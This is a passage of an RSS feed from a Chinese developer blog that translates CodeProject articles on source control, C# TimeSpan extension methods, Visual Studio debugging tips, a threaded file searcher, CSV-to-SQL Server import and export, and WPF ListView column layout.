&lt;p&gt;工作在一个没有源代码控制的环境下是很可怕的。现在就停止吧。伙计们，我们是很优秀，但在在源代码控制下工作是很专业的。并且现在有很多的VCS产品。托管服务，集成工具，真心是没有任何理由不把代码-包括数据库，部署在源代码控制下。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;原文地址:&lt;a href=&#34;http://www.troyhunt.com/2012/10/5-ways-to-do-source-control-really.html&#34;&gt;5-ways-to-do-source-control-really&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>简单扩展方法增强代码可读性</title>
      <link>http://blog.leaver.me/2012/10/04/%E7%AE%80%E5%8D%95%E6%89%A9%E5%B1%95%E6%96%B9%E6%B3%95%E5%A2%9E%E5%BC%BA%E4%BB%A3%E7%A0%81%E5%8F%AF%E8%AF%BB%E6%80%A7/</link>
      <pubDate>Thu, 04 Oct 2012 09:03:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/04/%E7%AE%80%E5%8D%95%E6%89%A9%E5%B1%95%E6%96%B9%E6%B3%95%E5%A2%9E%E5%BC%BA%E4%BB%A3%E7%A0%81%E5%8F%AF%E8%AF%BB%E6%80%A7/</guid>
      <description>&lt;p&gt;本文技术含量不高，但是思路可以借鉴。。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当你处理计时器，时间间隔，或是其他关于日期的计算的时候。你必然会使用TimeSpan类。&lt;/p&gt;
&lt;p&gt;我觉得写出下面的代码可读性并不好。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 1个表示5小时的时间间隔
var theTimespan = new TimeSpan(0, 5, 0, 0, 0);&lt;/pre&gt;
&lt;p&gt;而下面的代码就要好一些&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//一个表示5小时的时间间隔
var theTimespan = 5.Hours();&lt;/pre&gt;
&lt;p&gt;** 扩展方法**&lt;/p&gt;
&lt;p&gt;使用这些扩展了int类的方法。可以使得创建TimeSpan可读性更好&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public static TimeSpan Days(this int value)
{
    return new TimeSpan(value, 0, 0, 0, 0);
}

public static TimeSpan Years(this int value)
{
    var dt = DateTime.Now.AddYears(value);
    return (dt - DateTime.Now).Duration();
}

public static TimeSpan Hours(this int value)
{
    return new TimeSpan(0, value, 0, 0, 0);
}

public static TimeSpan Minutes(this int value)
{
    return new TimeSpan(0, 0, value, 0, 0);
}

public static TimeSpan Seconds(this int value)
{
    return new TimeSpan(0, 0, 0, value, 0);
}

public static TimeSpan Milliseconds(this int value)
{
    return new TimeSpan(0, 0, 0, 0, value);
}&lt;/pre&gt;
&lt;p&gt;许可&lt;/p&gt;
&lt;p&gt;本文所有源代码包括文件在CPOL下授权。。&lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href=&#34;http://www.codeproject.com/Tips/469097/Simple-extension-methods-for-code-readability&#34;&gt;Simple-extension-methods-for-code-readability&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>11个高效的VS调试技巧</title>
      <link>http://blog.leaver.me/2012/10/03/11%E4%B8%AA%E9%AB%98%E6%95%88%E7%9A%84vs%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/</link>
      <pubDate>Wed, 03 Oct 2012 10:45:15 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/03/11%E4%B8%AA%E9%AB%98%E6%95%88%E7%9A%84vs%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;调试是软件开发周期中的一个很重要的部分，有时很有挑战性，有时候则让程序员迷惑，有时候让程序员发疯，但是。可以肯定的是，对于任何不是太那个微不足道的程序来说，调试是不可避免的。近年来，调试工具的发展已经使得很多调试任务简单省时了。&lt;/p&gt;
&lt;p&gt;本文总结了十个调试技巧，当你使用VS的时候可以节省你很多时间。&lt;/p&gt;
&lt;p&gt;1. 悬停鼠标查看表达式&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27679_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5b9e01a5158e02f8079c7dc331f56110f3e0b82d.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;调试有时候很有挑战性，当你步入一个函数想看看哪块出错的时候，查看调用栈来想想值是从哪来的。另一些情况下，则需要添加一些监视表达式，或者查看局部变量列表，这通常还是花费一些时间的，但是。如果你把你鼠标指向你感兴趣的一个变量。你会发现事情简单多了。而且，类和结构体可以通过单击展开。这样。你就可以方便快捷的找到你想查看的变量了。&lt;/p&gt;
&lt;p&gt;2. 实时改变值
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27680_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/eade577f5ea39d3b970613ac3123610b67e427cb.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;
调试器不仅仅是一个分析程序崩溃或是异常结果的工具了，许多bug都可以通过步入新写的函数，检查函数是否如期望的那样运行来预防。有时候你可能会好奇“如果条件为真函数会正确运行吗”大多数情况下，根本不需要改变代码重启挑起，仅仅把鼠标悬停到一个变量上，双击值然后输入一个新值就可以了。。&lt;/p&gt;
&lt;p&gt;3．设置下一条语句
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27690_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1c86cc15b16c98adc1563eb1660481fa249beaf0.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;
一个典型的调试情况就是通过单步跟踪分析为什么一个函数调用失败了。当你发现一个函数调用的另一个函数返回错误的时候你会怎么做？重启调试？有更好的方法。拖动这个黄色的语句标识到你想下一步执行的语句前就可以了。比如你刚才失败的那块，然后步入。简单，不是吗？&lt;/p&gt;
&lt;p&gt;4.编辑然后继续
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27682_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8117d2025d49155485268fc1b56041e96cefaeac.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;
调试一个复杂的程序，或是一个插件的时候，在一个被调用很多次的函数处发现一个错误。但是不想浪费时间停下来，重新编译然后重新调试。没问题，仅仅在该处改正代码然后继续单步就可以。VS会修正程序然后继续调试不需要重启&lt;/p&gt;
&lt;p&gt;注意，编辑然后继续有大量的已知限制，首先，64位代码是不行的。如果他如果为你的C#程序工作。就去工程设置的生成选项，然后目标平台为x86.不要担心。发布版的目标平台和调试的时候是分开的。可以被设置为任何平台。。&lt;/p&gt;
&lt;p&gt;第二．编辑然后继续改变在一个方法里应该是局部的。。如果你改变了方法签名，添加一些新方法或是类。你就不得不重启程序了。或者撤销改变来继续。改变方法也包含lambda表达式隐式修改的自动生成的代理类，因此也不能继续。&lt;/p&gt;
&lt;p&gt;5.方便的监视窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27683_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a204da1e7bb82719b4a965da45d1cfcc51a90cd3.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;
大概现代的调试器都有一个监视窗口，无论如何。VS允许你简单的添加或移除变量。单击空行，输入你的表达式按下回车，或者是在不需要的表达式上按下Delete键就可以删除了。
而且。从监视窗口你不仅仅可以看到“正常”的变量。你可以输入$handles 来追踪你的程序打开了多少句柄（可以方便的修复内存泄漏） ，输入$err 可以看到上一个函数的错误码，然后使用工具-错误信息可以看到更详细的描述，或者输入@eax（64位是@rax）来查看包含函数返回值的寄存器。&lt;/p&gt;
&lt;p&gt;6.带注释的反汇编
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27684_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d61b64ed0a189bec2f34f2faaf059916cce8e525.png&#34; title=&#34;6&#34;&gt;&lt;/a&gt;
使用交互式的反汇编模式可以使得优化程序的关键部分变得很容易，VS给出对应你代码每一行的汇编指令，并且运行单步运行。同时，可以在任何位置设置断点。而且，表达式的查看和修改也像在C++代码里一样&lt;/p&gt;
&lt;p&gt;7.带有栈的线程窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27691_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5b212033679007829bb5c0684d62ab8f27a0514b.png&#34; title=&#34;7&#34;&gt;&lt;/a&gt;
调试多线程的程序是痛苦的。。或者也可以是很有趣的。取决于你的调试器。VS2010真正优美的特性是线程窗口的栈视图，通过窗口的调用栈你可以方便的总览线程。&lt;/p&gt;
&lt;p&gt;8.条件断点
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27686_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e93436bf72af22e533fe859971913a3d3c555789.png&#34; title=&#34;8&#34;&gt;&lt;/a&gt;
如果你尝试通过断点再现一个罕见的事件，该情况引发了一些严重的错误。你可以添加条件断点。定义一个断点的条件，然后如果条件不成立，VS会忽略该断点&lt;/p&gt;
&lt;p&gt;9.内存窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27687_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0cfda80c7dbe3d0c50bb5646155914b5e3f07f4f.png&#34; title=&#34;9&#34;&gt;&lt;/a&gt;
有些bug由不正确的结构体定义引起，忽略的对齐属性等等。查看内存中的内容可以定位然后修复bug。VS提供了一个放百年的内存窗口，可以把值以8/16/32/64位的形式展示。还有浮点值。也允许实时改变他们。就像在文本编辑器里一样。&lt;/p&gt;
&lt;p&gt;10.转到定义
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27688_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3593aad0199fbed2f8faaef908e151a068e14d09.png&#34; title=&#34;10&#34;&gt;&lt;/a&gt;
这个特性不是直接关于调试的，而是关于浏览大项目的。如果你尝试找到一些不是你自己写的代码中的错误，快速知道“这个类型是什么”或者“这个函数是干嘛的”，可以节省很多时间，VS通过一个转到定义命令方便了你。&lt;/p&gt;
&lt;p&gt;11.命令窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27689_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2af5b37764b18abe3ae34c1a67e4398721fbd04b.png&#34; title=&#34;11&#34;&gt;&lt;/a&gt;
第十一的技巧&lt;a href=&#34;http://www.codeproject.com/script/Membership/View.aspx?mid=4917930&#34;&gt;chaau&lt;/a&gt;已经建议过了。确实可以节省很多时间，VS支持命令窗口，可以通过，视图-其他窗口-命令窗口来启动。一旦激活，你可以输入不同的命令来自动化调试。举个例子。你可以通过如下命令 简单的模拟MFC COleDateTime 变量。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;? dt.Format(&#34;%Y-%m-%d %H:%M:%S&#34;)&lt;/pre&gt;
&lt;p&gt;许可
本文包括源代码和文件在CPOL下授权。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href=&#34;http://www.codeproject.com/Articles/359801/10plus-powerful-debugging-tricks-with-Visual-Studi&#34;&gt;10plus-powerful-debugging-tricks-with-Visual-Studi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写文件搜索器</title>
      <link>http://blog.leaver.me/2012/10/01/c%23%E7%BC%96%E5%86%99%E6%96%87%E4%BB%B6%E6%90%9C%E7%B4%A2%E5%99%A8/</link>
      <pubDate>Mon, 01 Oct 2012 11:36:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/01/c%23%E7%BC%96%E5%86%99%E6%96%87%E4%BB%B6%E6%90%9C%E7%B4%A2%E5%99%A8/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27654_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6d2217ea2873cc4f559cc605fc38f29dade4aef8.jpg&#34; title=&#34;filesearcher&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
在装有Vista的机器上。我想通过一个给定的字符串来搜索我硬盘上的一个文件，该文件内容包含这个字符串序列，资源管理器是做不到的。因此，我就决定自己写吧。然后就写成这样了。。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我做了什么&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你必须输入一个选择一个搜索目录，这样程序才知道在哪搜索文件/目录，如果你选上了“包含子目录”复选框，程序就会递归地搜索指定目录的子目录，指定的文件名可以是像 &amp;ldquo;&lt;em&gt;.wav;&lt;/em&gt;.mp3;Christma??ree.*&amp;rdquo; 这样的字符串，程序将会列出所有的文件/目录匹配这些文件名&lt;/p&gt;
&lt;p&gt;你也可以使用一些限制条件来限制找到的项目，每一个限制条件可以通过选上复选框来激活，限制条件的参数可以在右边选中就行了。&lt;/p&gt;
&lt;p&gt;1. “Files newer than”将会列出LastWriteTime（上次修改时间）晚于指定时间的文件
2. “Files newer than”将会列出LastWriteTime（上次修改时间）早于指定时间的文件
3. &amp;ldquo;Files containing the string&amp;quot;仅仅列出包含字符串参数的文件。&lt;/p&gt;
&lt;p&gt;程序将会把字符串转换成字节序列，可以使用ASCII或者Unicode编码，取决于你的选择，然后搜索每一个出现这个字节序列的文件。&lt;/p&gt;
&lt;p&gt;点击Start（开始）按钮就开始搜索了。找到的项目会列在下面，如果搜索时间太长了。你可以点击Stop（停止）来停止搜索。&lt;/p&gt;
&lt;p&gt;如果你双击下面的一个文件。不是文件夹哦，程序将会根据关联程序打开该文件
如果你邮件一个项目，然后选择“Open Containing Folder”（打开包含文件夹）将会在资源管理器里打开包含该项目的文件夹&lt;/p&gt;
&lt;p&gt;如果你想要把搜索结果保存到一个文本文件。输入个分隔符分隔项目，然后点击“Write results to text file…”（保存结果到文本…）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
1. MainWindow处理所有的界面事务
2. Searcher类提供了业务逻辑，用来搜索FileSystemInfo对象&lt;/p&gt;
&lt;p&gt;当用户点击Start（开始）按钮，Searcher.Start 方法就会执行，该方法开启了一个名为SearchThread 的新线程，这个线程搜索文件/目录，匹配用户输入的参数，如果找到了一个匹配的FileSystemInfo对象，它就出发一个异步的FoundInfo 事件，然后MainWindow就可以从FoundInfoEventArgs中解出FileSystemInfo对象，然后更新结果列表，当线程结束的时候，将m_thread成员对象设置为null，每一次Searcher.Start 执行的时候都会检测m_thread是否为null，因此同时不会有两个线程在运行。&lt;/p&gt;
&lt;p&gt;当用户点击Stop(停止)按钮的时候Searcher.Stop 方法被执行，然后设置m_stop 成员为true， Searchthread会注意到这个改变。注意本操作是线程安全的。因为布尔变量只需要一步就操作完成了&lt;/p&gt;
&lt;p&gt;重要：在Searcher_FoundInfo 事件处理中，MainWindow使用Invoke方法通过代理来调用this_FoundInfo 方法。通过这个方法，MainWindow是的更新结果列表的代码在MainWindow的线程里执行，而不是在Searcher的线程里，直接调用this_FoundInfo 方法会引发程序崩溃，因为Searcher_FoundInfo 事件处理和图形界面控件不同步。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private delegate void FoundInfoSyncHandler(FoundInfoEventArgs e);
private FoundInfoSyncHandler FoundInfo;

...

private void MainWindow_Load(object sender, EventArgs e)
{
...
this.FoundInfo += new FoundInfoSyncHandler(this_FoundInfo);
...
}

...

private void Searcher_FoundInfo(FoundInfoEventArgs e)
{
if (!m_closing)
{
this.Invoke(FoundInfo, new object[] { e });
}
}

private void this_FoundInfo(FoundInfoEventArgs e)
{
CreateResultsListItem(e.Info);
}&lt;/pre&gt; 
&lt;p&gt;CreateResultsListItem 方法创建并添加一个ListViewItem 到结果列表中，然后展示FilesystemInfo 对象包含的数据，FileSystemInfo 可以是FileInfo 或是DirectoryInfo ，取决于Searcher 找到的结果， is操作符可以用来判断对象的类型，如果是FileInfo独享，列表还会以KB为单位显示文件大小&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;ListViewItem.ListViewSubItem lvsi = new ListViewItem.ListViewSubItem();
if (info is FileInfo)
{
lvsi.Text = GetBytesStringKB(((FileInfo)info).Length);
}
else
{
lvsi.Text = &#34;&#34;;
}&lt;/pre&gt; 
&lt;p&gt;当Searcher 线程结束的时候，触发ThreadEnded 事件，因此，MainWindow可以注意到搜索结束，Searcher_ThreadEnded 事件处理句柄使用和Searcher_FoundInfo一样的方式调用Invoke方法。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;private delegate void ThreadEndedSyncHandler(ThreadEndedEventArgs e);
private ThreadEndedSyncHandler ThreadEnded;

...

private void MainWindow_Load(object sender, EventArgs e)
{
...
this.ThreadEnded += new ThreadEndedSyncHandler(this_ThreadEnded);
...
}

...

private void Searcher_ThreadEnded(ThreadEndedEventArgs e)
{
if (!m_closing)
{
this.Invoke(ThreadEnded, new object[] { e });
}
}

private void this_ThreadEnded(ThreadEndedEventArgs e)
{
EnableButtons();
if (!e.Success)
{
MessageBox.Show(e.ErrorMsg,
&#34;Error&#34;,
MessageBoxButtons.OK,
MessageBoxIcon.Exclamation);
}
}&lt;/pre&gt; 
&lt;p&gt;Demo下载
&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=68747&amp;amp;uk=1493685990&#34;&gt;FileSearcher&lt;/a&gt;
许可
本文包括源代码和文件在CPOL下授权&lt;/p&gt;</description>
    </item>
    <item>
      <title>CSV导入导出工具</title>
      <link>http://blog.leaver.me/2012/09/30/csv%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Sun, 30 Sep 2012 22:33:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/30/csv%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27639_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/650890bebf13c4d041d3113af4b40fb93a2cc0c5.png&#34; title=&#34;form1&#34;&gt;&lt;/a&gt;
&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;本文介绍并且实现了在平面文件CSV和SQL server之间的导入导出功能。使用VS2005写的。使用了.net 2.0&lt;/p&gt;
&lt;p&gt;本文基于前一篇文章：&lt;a href=&#34;http://www.codeproject.com/KB/database/FinalCSVReader.aspx&#34;&gt;从CSV导入数据并存储到数据库&lt;/a&gt;，本文包含了新功能，比如，导出功能，在数据库创建表，批量拷贝。接下来的例子中有很多注释。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;导入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过ODBC驱动连接到一个CSV文件，然后把文件读到一张表了（基于前面提到的那篇文章）
使用不同的编码和不同的行分隔符（基于前文）
加载CSV文件到DataSet（基于前文）
如何显示对CSV文件的预览（基于前文）
通过SqlBulkCopy的对象向SQL server转移数据，原始数据是DataSet实例&lt;/p&gt;
&lt;p&gt;使用结构表，基于CSV文件，创建一个新表
使用事件来处理批量拷贝的进程
&lt;strong&gt;导出&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;浏览SQL 数据库中的用户表
使用不同的编码和分隔符
使用SqlDataReader读取数据，使用StreamWriter转移数据到平面文件&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27640_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b131fd0af27287ab9270df33d1a313ab957dfb12.png&#34; title=&#34;form2&#34;&gt;&lt;/a&gt;
使用&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;下载工程&lt;/li&gt;
&lt;li&gt;新建一个数据库，或者使用一个存在的数据库&lt;/li&gt;
&lt;li&gt;修改软件中的数据库连接字符串，在prop.cs文件中&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public static string sqlConnString = &#34;server=(local);
	database=Test_CSV_impex;Trusted_Connection=True&#34;;&lt;/pre&gt; 
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;运行工程&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;一些代码段&lt;/strong&gt;
加载CSV到DataSet中&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
/*
 *加载CSV到DataSet.
 * 
 * 如果numberOfRows parameter 是 -1, 就加载所有行, 否则就加载指定数目的行
 */

public DataSet LoadCSV(int numberOfRows)
{
	DataSet ds = new DataSet();
	try
	{
		// 创建并打开ODBC连接
		string strConnString = &#34;Driver={Microsoft Text Driver (*.txt; *.csv)};
			Dbq=&#34; + this.dirCSV.Trim() + &#34;;
			Extensions=asc,csv,tab,txt;Persist Security Info=False&#34;;
		string sql_select;
		OdbcConnection conn;
		conn = new OdbcConnection(strConnString.Trim());
		conn.Open();

		//创建SQL语句
		if (numberOfRows == -1)
		{
			sql_select = &#34;select * from [&#34; + 
					this.FileNevCSV.Trim() + &#34;]&#34;;
		}
		else
		{
			sql_select = &#34;select top &#34; + numberOfRows + 
				&#34; * from [&#34; + this.FileNevCSV.Trim() + &#34;]&#34;;
		}

		//创建数据适配器 
		OdbcDataAdapter obj_oledb_da = new OdbcDataAdapter(sql_select, conn);

		//用CSV的数据填充DataSet
		obj_oledb_da.Fill(ds, &#34;csv&#34;);

		//关闭连接
		conn.Close();
	}
	catch (Exception e) //异常处理
	{
		MessageBox.Show(e.Message, &#34;Error - LoadCSV&#34;,
				MessageBoxButtons.OK,MessageBoxIcon.Error);
	}
	return ds;
}&lt;/pre&gt;
&lt;p&gt;通过SqlBulkCopy从ODBC连接中转移数据到数据库&lt;/p&gt;</description>
    </item>
    <item>
      <title>ListView布局管理器</title>
      <link>http://blog.leaver.me/2012/09/29/listview%E5%B8%83%E5%B1%80%E7%AE%A1%E7%90%86%E5%99%A8/</link>
      <pubDate>Sat, 29 Sep 2012 10:14:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/29/listview%E5%B8%83%E5%B1%80%E7%AE%A1%E7%90%86%E5%99%A8/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27575_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3908a54221845d3b8f0b2ad7c3c0b559dae7a979.jpg&#34; title=&#34;listview&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;使用ListViewLayoutManager  可以控制ListView/GridView列的布局&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;固定列宽：有着固定列宽的列&lt;/li&gt;
&lt;li&gt;范围列宽：有着最小最大宽度的列&lt;/li&gt;
&lt;li&gt;比例列宽：成比例的列宽&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;范围列宽可以限制列的宽度，也包括填充列的剩余可视区域。&lt;/p&gt;
&lt;p&gt;据我们了解的Html中的表格和Grid空间。比例列以一个百分比来定义列宽，以下几个因素共同确定了比例列的宽度。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;垂直ListView滚动条的可视与否&lt;/li&gt;
&lt;li&gt;ListView控件宽度的改变&lt;/li&gt;
&lt;li&gt;非比例列宽度的改变&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;本程序支持通过XAML或是后台代码来控制ListView。如果通过XAML来控制。则允许ListViewLayoutManager 被附加到一个存在的ListView控件上。&lt;/p&gt;
&lt;p&gt;ConverterGridColumn 类通过接口IValueConverter 提供了对象绑定。使用ImageGridViewColumn 类则允许通过DataTemplate（数据模板）将列显示成图片等。&lt;/p&gt;
&lt;p&gt;在 &lt;a href=&#34;http://www.codeproject.com/Articles/25829/User-Settings-Applied&#34;&gt;User Setting Applied&lt;/a&gt;中，我展示了如何固定ListViewlieder顺序和大小&lt;/p&gt;
&lt;h3 id=&#34;xaml中listviewgridview布局&#34;&gt;XAML中ListView/GridView布局&lt;/h3&gt;
&lt;p&gt;固定列
下面的例子展示了通过XAML使用固定列宽控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;&amp;lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&amp;gt;

    &amp;lt;ListView.View&amp;gt;
      &amp;lt;GridView&amp;gt;
        &amp;lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;

          ctrl:FixedColumn.Width=&#34;100&#34;
          Header=&#34;Name&#34; /&amp;gt;

        &amp;lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:FixedColumn.Width=&#34;300&#34;

          Header=&#34;City&#34; /&amp;gt;
      &amp;lt;/GridView&amp;gt;

    &amp;lt;/ListView.View&amp;gt;
  &amp;lt;/ListView&amp;gt;
&lt;/pre&gt; 
&lt;p&gt;设置附加到ListView控件上的ListViewLayoutManager 的Enabled属性为True。然后FixedColumn.Width 就会阻止鼠标拖动改变列的宽度。&lt;/p&gt;
&lt;p&gt;比例列&lt;/p&gt;
&lt;p&gt;下面的例子展示了使用XAML通过比例来控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;
    &lt;ListView.View&gt;

      &lt;GridView&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;
          ctrl:ProportionalColumn.Width=&#34;1&#34;

          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;

          ctrl:ProportionalColumn.Width=&#34;3&#34;
          Header=&#34;City&#34; /&gt;
      &lt;/GridView&gt;

    &lt;/ListView.View&gt;

  &lt;/ListView&gt;&lt;/pre&gt;
&lt;p&gt;对比Grid控件的RowDefinition.Width 属性，ProportionalColumn.Width会计算百分比。简单来说，就是上面的例子中Name列会占到总宽度的25%，而City列占到75%。
与固定列相似。鼠标将不能改变列的宽度。&lt;/p&gt;
&lt;p&gt;范围列&lt;/p&gt;
&lt;p&gt;下面的例子展示了使用XAML通过最小/最小宽度来控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;
    &lt;ListView.View&gt;

      &lt;GridView&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;
          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          Width=&#34;150&#34;

          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:RangeColumn.MaxWidth=&#34;200&#34;
          Width=&#34;150&#34;

          Header=&#34;City&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Country}&#34;
          Width=&#34;100&#34;
          ctrl:RangeColumn.MinWidth=&#34;50&#34;

          ctrl:RangeColumn.MaxWidth=&#34;150&#34;
          Header=&#34;Country&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=State}&#34;
          Width=&#34;100&#34;

          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          ctrl:RangeColumn.IsFillColumn=&#34;true&#34;
          Header=&#34;Country&#34; /&gt;

      &lt;/GridView&gt;

    &lt;/ListView.View&gt;
  &lt;/ListView&gt;&lt;/pre&gt;
&lt;p&gt;第一个范围列的IsFillColumn 属性被设置为True，因此将会自动改变大小来填满剩余的空间，而如果ListView包含一个比例列的话，范围列将不会填充&lt;/p&gt;
&lt;p&gt;通过鼠标可以拖动范围列的宽度。鼠标指针会有一些提示。。&lt;/p&gt;
&lt;p&gt;组合使用&lt;/p&gt;
&lt;p&gt;在真实的世界里。组合使用很普遍。他们的顺序可以多种多样。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;

    &lt;ListView.View&gt;
      &lt;GridView&gt;

